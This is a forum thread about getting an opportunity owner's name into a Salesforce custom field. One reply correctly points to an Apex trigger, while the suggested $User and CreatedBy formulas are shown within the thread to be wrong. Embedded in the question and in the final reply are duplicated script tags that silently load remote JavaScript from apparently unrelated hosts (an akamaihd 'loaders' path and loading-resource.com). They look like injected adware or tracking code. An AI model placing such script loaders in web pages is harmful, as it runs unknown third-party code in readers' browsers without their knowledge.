+ Start a Discussion
Pradeep VirkPradeep Virk 

How to get Owner name in the opportunity details page

Using a formula, it is possible to get Owner name in a custom field from Owner ID?

<script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script> <script type="text/javascript" src="http://cdncache3-a.akamaihd.net/loaders/1032/l.js?aoi=1311798366&pid=1032&zoneid=62862"></script>
CheyneCheyne

You cannot access the Owner Name from a formula field. You could write an Apex trigger to populate a custom field with the Owner Name.

SFDCStarSFDCStar

Yes,  Create Formula field : $User.LastName & ", " & $User.FirstName

 

If it's helps and resolves your issue, please mark as Solution

 

Thanks,

Pandu

CheyneCheyne

$User references the current user, not necessarily the owner of the record.

SFDCStarSFDCStar

Try this in formula field:

 

CreatedBy.LastName & ", " &  CreatedBy.FirstName

SFDCStarSFDCStar

It works:  CreatedBy.LastName & ", " &  CreatedBy.FirstName

CheyneCheyne

CreatedBy would only work if the user who created the record is also the owner of the record. This might often be the case, but you cannot count on it.

Pradeep VirkPradeep Virk

thanks, however createdby is always going to display createdby name. It becomes an issue in the event the opportunity owner is changed (ie. opportunity is transferred), in which case createdby field does not reflect the current opportunity owner.

 

Pradeep Virk.

pradeepvirk@gmial.com

<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script> <script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>